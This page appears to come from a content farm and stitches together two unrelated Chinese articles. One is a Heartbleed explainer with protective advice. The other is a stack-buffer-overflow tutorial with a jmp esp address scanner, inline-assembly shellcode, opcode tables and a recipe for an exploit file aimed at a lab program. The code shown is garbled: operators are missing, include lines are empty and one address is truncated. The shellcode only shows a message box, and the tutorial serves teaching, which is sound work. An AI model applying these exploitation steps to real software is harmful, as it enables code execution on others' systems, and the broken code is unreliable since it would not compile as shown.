手机版

百科生活 投稿

漏洞原理分析,“心脏出血”制造致命内伤

百科 2025-12-29 11:44:25 投稿 阅读:296次

关于【漏洞原理分析】,今天小编给您分享一下,如果对您有所帮助别忘了关注本站哦。

  • 内容导航:
  • 1、漏洞原理分析:【网络安全涨姿势】漏洞如其名,“心脏出血”制造致命内伤
  • 2、漏洞原理分析,软件漏洞分析入门

1、漏洞原理分析:【网络安全涨姿势】漏洞如其名,“心脏出血”制造致命内伤

今天,蜀黍为大家带来网络安全方面的科普和提醒

那么,这就开始吧

今天要说一个漏洞的安全防范

如果你是网络安全行业的从业人员

一定听说过著名的“心脏出血”漏洞

正如它的名字

“心脏出血”的破坏力巨大

01

“心脏出血”漏洞震惊全球

2014年4月7日,互联网安全协议OpenSSL(Open Secure Socket Layer)被曝存在一个十分严重的安全漏洞。

在黑客社区,它被命名为“心脏出血”(Heartbleed),表明网络上出现了“致命内伤”。利用该漏洞,黑客可以获取约30%的https开头网址的用户登录账号密码,其中包括购物、网银、社交、门户等类型的知名网站。

OpenSSL“心脏出血”漏洞

堪称中国网络安全的一个灾难事件

漏洞爆发当日国内一线电商几乎都存在此漏洞

02

漏洞原理分析

漏洞原理分析,“心脏出血”制造致命内伤

OpenSSL是为网络通信提供安全及数据完整性的一种安全协议,OpenSSL 有一个叫Heartbeat(心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。

所谓心跳检测,就是建立一个Client Hello问询来检测对方服务器是不是正常在线,服务器发回Server hello,表明正常建立SSL通讯。就像我们打电话时会问对方“喂听得到吗?”一样。

每次问询都会附加一个问询的字符长度pad length。此时,bug来了,如果这个pad length大于实际的长度,服务器仍是会返回相同规模的字符信息,于是形成了内存里信息的越界访问。

就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密密钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用“心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在出血,“心脏出血"漏洞的名字由此而来。

“心跳检测”原理图

由于互联网应用最广泛的安全传输方法就是SSL,而Open SSL又是多数 SSL加密网站使用的开源软件包,所以漏洞影响范围广大,一时间席卷全球各个互联网相关领域,网银、在线支付、电商网站、门户网站、电子邮件等无一幸免。

03

“心脏出血”漏洞攻击技术

漏洞原理分析,“心脏出血”制造致命内伤

Heartbeat扩展为TLS/DTLS提供了一种新的简便的连接保持方式,但由于OpenSSL 1.0.2-beta与OpenSSL 1.0.1在处理TLS heartbeat扩展时的边界错误,攻击者可以利用漏洞披露连接的客户端或服务器的存储器内容,导致攻击者不仅可以读取其中机密的加密数据,还能盗走用于加密的密钥。

04

防范措施 & 安全建议

企业网站管理员

1、由于此漏洞存在于存储很多隐私信息的服务器中,而当今最热门的两大网络服务器Apache和nginx都使用OpenSSL,所以危害性是很大的。不幸的是,如果访问了受影响的网站,用户无法采取任何自保措施。受影响的网站的管理员需要升级软件,才能为用户提供适当的保护。

2、网络上出现多种Heartbleed漏洞检测服务,可以让用户检查正在使用的网络服务是否安全,若是不安全的网站,就避免使用任何与账号、密码有关的交易功能。网络服务提供者也应该利用这些工具,随时检查自己维护的服务器,避免因Heartbleed漏洞而受到攻击,导致用户资料被窃。

个人用户

如果你经常使用的网站遭受了“心脏出血”攻击

1、一旦受影响的网站修复了这一问题,用户便可以通过修改密码来保护自己。攻击者或许已经拦截了用户的密码,但用户无法知道自己的密码是否已被他人窃取。

2、不要在受影响的网站上登录账号,除非确信该公司已经修补了这一漏洞。如果该公司没有通告相关进展,可以询问他们的客服团队。很多人的第一反应是赶快修改密码,但是网络安全专家的建议是等到网站确认修复再说。

3、一旦收到网站的安全修补确认,就立即修改银行、电子邮件等敏感账号的密码。即便你采用了两步认证(即在密码之外多一重验证信息),也推荐修改密码。

4、主动联系掌握个人数据的企业(网站)客服部门,以确保个人信息安全。知名公司当然知道这个问题,但是一些小企业(网站)可能还没发现它,所以个人要积极主动地维护个人信息安全。

2、漏洞原理分析,软件漏洞分析入门

1:缓冲区距离返回地址间的距离确定,或者说缓冲区大小的确定。一般我们通过调试可以直接看出缓冲区的大小。但是实际漏洞利用中,有时缓冲区的大小甚至是动态 的,这台机器上返回地址是200个字节的偏移,下个机器就可能变成208字节了。

2:定位shellcode的位置。栈帧中的缓冲区地址经常是不定的,尤其是在windows平台下。要想在淹没返回地址后准确的返回到shellcode上,像第5讲那样直接在调试中查出来写死在password.txt文件中肯定不行

3:定位需要的API。在shellcode中一般要完绑定端口建立socket侦听等功能,需要调用一系列windowsAPI。这些API的入口地址根据操作系统的版本,补丁版本会有很大差异。像第5讲中那样直接把API地址查出来是没办法写出稳定的,通用的shellcode的

4:shellcode对特定字节的敏感。在跟贴中已经有同学发现这个问题了,strcpy,fscan对于一些特定的字节有特殊的处理,如串截断符0x00等。当限制较少时,编写shellcode还可以通过选用特殊指令来避免这些值,但有时会限制比较苛刻,这将对shellcode的开发带来很大困难——用汇编写程序本来就够难了,还要考虑指令对应的机器码的值

图1

因此,要想使exploit不致于10次中只有2次能成功地运行shellcode,我们必须想出一种方法能够在程序运行时动态定位栈中的shellcode。

回顾上一讲中实验在verify_password函数返回后栈中的情况:

漏洞原理分析,“心脏出血”制造致命内伤

图2

绿色的线条体现了代码植入的流程:将返回地址淹没为我们手工查出的shellcode起始地址0x0012FAF0,函数返回时这个地址被弹入EIP寄存器,处理器按照EIP寄存器中的地址取指令,最后栈中的数据被处理器当成指令得以执行。

红色的线条则点出了这样一个细节:在函数返回的时候,ESP恰好指向栈帧中返回地址的后一个位置!

一般情况下,ESP寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP所指的位置恰好是我们所淹没的返回地址的下一个位置。

注意:函数返回时ESP所指位置与函数调用约定、返回指令等有关。如retn 3与retn 4在返回后,ESP所指的位置都会有所差异。

漏洞原理分析,“心脏出血”制造致命内伤

图3

由于ESP寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们可以使用上图所示的这种定位shellcode的方法来进行动态定位:

用内存中任意一个jmp esp指令的地址覆盖函数返回地址,而不是原来用手工查出的shellcode起始地址直接覆盖

函数返回后被重定向去执行内存中的这条jmp esp指令,而不是直接开始执行shellcode

由于esp在函数返回时仍指向栈区(函数返回地址之后),jmp esp指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行。

重新布置shellcode。在淹没函数返回地址后,继续淹没一片栈空间。将缓冲区前边一段地方用任意数据填充,把shellcode恰好摆放在函数返回地址之后。这样jmp esp指令执行过后会恰好跳进shellcode。

这种定位shellcode的方法使用进程空间里一条jmp esp指令做“跳板”,不论栈帧怎么“移位”,都能够精确的跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。

下面就请和我一起把第5讲中的password.txt文件改造成上述思路的exploit,并加入安全退出的代码避免点击消息框后程序的崩溃。

我们必须首先获得进程空间内一条jmp esp指令的地址作为“跳板”。

上一讲中的有漏洞的密码验证程序已经加载了user32.dll,所以我们准备使用user32.dll中的jmp esp指令做为跳板。这里给出两种方法获得跳转指令。第一种当然是编程了,自己动手,丰衣足食。事实上所有的问题都能够通过自己编程来解决的。这是我的程序

#include

#include

#define DLL_NAME "user32.dll"

main()

{

BYTE* ptr;

int position,address;

HINSTANCE handle;

BOOL done_flag = FALSE;

handle=LoadLibrary(DLL_NAME);

if(!handle)

{

printf(" load dll erro !");

exit(0);

}

ptr = (BYTE*)handle;

for(position = 0; !done_flag; position )

{

try

{

if(ptr[position] == 0xFF && ptr[position 1] == 0xE4)

{

//0xFFE4 is the opcode of jmp esp

int address = (int)ptr position;

printf("OPCODE found at 0x%x\n",address);

}

}

catch(...)

{

int address = (int)ptr position;

printf("END OF 0x%x\n", address);

done_flag = true;

}

}

}

jmp esp对应的机器码是0xFFE4,上述程序的作用就是从user32.dll在内存中的基地址开始向后搜索0xFFE4,如果找到就返回其内存地址(指针值)。

如果您想使用别的动态链接库中的地址如“kernel32.dll”,“mfc42.dll”等;或者使用其他类型的跳转地址如call esp,jmp ebp等的话,也可以通过对上述程序稍加修改而轻易获得。

除此以外,还可以通过OllyDbg的插件轻易的获得整个进程空间中的各类跳转地址。

这里给出这个插件,点击下载插件OllyUni.dll:OllyUni.rar.

把它放在OllyDbg目录下的Plugins文件夹内,重新启动OllyDbg进行调试,在代码框内单击右键,就可以使用这个插件了,如图:

漏洞原理分析,“心脏出血”制造致命内伤

图4

搜索结束后,点击OllyDbg中的“L”快捷按钮,就可以在日志窗口中查看搜索结果了。

运行我们自己编写程序搜索跳转地址得到的结果和OllyDbg插件搜到的结果基本相同,如图:

漏洞原理分析,“心脏出血”制造致命内伤

图5

注意:跳转指令的地址将直接关系到exploit的通用性。事实上kernel32.dll与user32.dll在不同的操作系统版本和补丁版本中,也是有所差异的。最佳的跳转地址位于那些“千年不变”且被几乎所有进程都加载的模块中。选择哪里的跳转地址将直接影响到exploit的通用性和稳定性。

这里不妨采用位于内存0x77DC14CC处的跳转地址jmp esp作为定位shellcode的“跳板”————我并不保证这个地址通用,请你在自己的机器上重新搜索。

在制作exploit的时候,还应当修复第5讲中的shellcode无法正常退出的缺陷。有几种思路,可以恢复堆栈和寄存器之后,返回到原来的程序流程,这里我用个简单点的偷懒的办法,在调用MessageBox之后通过调用exit函数让程序干净利落的退出。

这里仍然用dependency walker获得这个函数的入口地址。如图,ExitProcess是kernel32.dll的导出函数,故首先查出kernel32.dll的加载基址:0x7C800000,然后加上函数的偏移地址:0x0001CDDA,得到函数入口最终的内存地址0x7C81CDDA。

漏洞原理分析,“心脏出血”制造致命内伤

图6

写出的shellcode的源代码如下:

#include

int main()

{

HINSTANCE LibHandle;

char dllbuf[11] = "user32.dll";

LibHandle = LoadLibrary(dllbuf);

_asm{

sub sp,0x440

xor ebx,ebx

push ebx // cut string

push 0x74736577

push 0x6C696166//push failwest

mov eax,esp //load address of failwest

push ebx

push eax

push eax

push ebx

mov eax,0x77D804EA // address should be reset in different OS

call eax //call MessageboxA

push ebx

mov eax,0x7C81CDDA

call eax //call exit(0)

}

}

为了提取出汇编代码对应的机器码,我们将上述代码用VC6.0编译运行通过后,再用OllyDbg加载可执行文件,选中所需的代码后可直接将其dump到文件中:

漏洞原理分析,“心脏出血”制造致命内伤

图7

TIPS:不如直接在汇编码中加一个__asm int3,OD启动后会自动停在shellcode之前。

通过IDA Pro等其他反汇编工具也可以从PE文件中得到对应的机器码。当然如果熟悉intel指令集的话,也可以为自己编写专用的由汇编指令到机器指令的转换工具。

现在我们已经具备了制作新exploit需要的所有信息:

搜索到的jmp esp地址,用作重定位shellcode的“跳板”:0x77DC14CC

修改后并重新提取得到的shellcode:

机器代码(16进制) 汇编指令 注释

33 DB XOR EBX,EBX 压入NULL结尾的”failwest”字符串。之所以用EBX

清零后入栈做为字符串的截断符,是为了避免

“PUSH 0”中的NULL,否则植入的机器码会被

strcpy函数截断。

53 PUSH EBX

68 77 65 73 74 PUSH 74736577

68 66 61 69 6C PUSH 6C696166

8B C4 MOV EAX,ESP EAX里是字符串指针

53 PUSH EBX 四个参数按照从右向左的顺序入栈,分别为:

(0,failwest,failwest,0)

消息框为默认风格,文本区和标题都是“failwest”

50 PUSH EAX

50 PUSH EAX

53 PUSH EBX

B8 EA 04 D8 77 MOV EAX, 0x77D804EA 调用MessageBoxA。注意不同的机器这

里的函数入口地址可能不同,请按实际值填入!

FF D0 CALL EAX

53 PUSH EBX 调用exit(0)。注意不同的机器这里的函数入口地址可

能不同,请按实际值填入!

B8 DA CD 81 7C MOV EAX, 0x7C81CD

FF D0 CALL EAX

按照第5讲中对栈内情况的分析,我们将password.txt制作成如下形式:

漏洞原理分析,“心脏出血”制造致命内伤

图8

现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和第5讲中已有很大不同了,最核心的地方就是使用了跳转地址定位shellcode,进程被劫持的过程正如图3中我们设计的那样。你得到那个熟悉的消息框了么?

本文关键词:漏洞分析是什么,漏洞原理分析方法,漏洞原理分析怎么写,漏洞利用原理,漏洞原理与挖掘。这就是关于《漏洞原理分析,“心脏出血”制造致命内伤》的所有内容,希望对您能有所帮助!

本文链接:https://bk.89qw.com/a-872435

最近发表
网站分类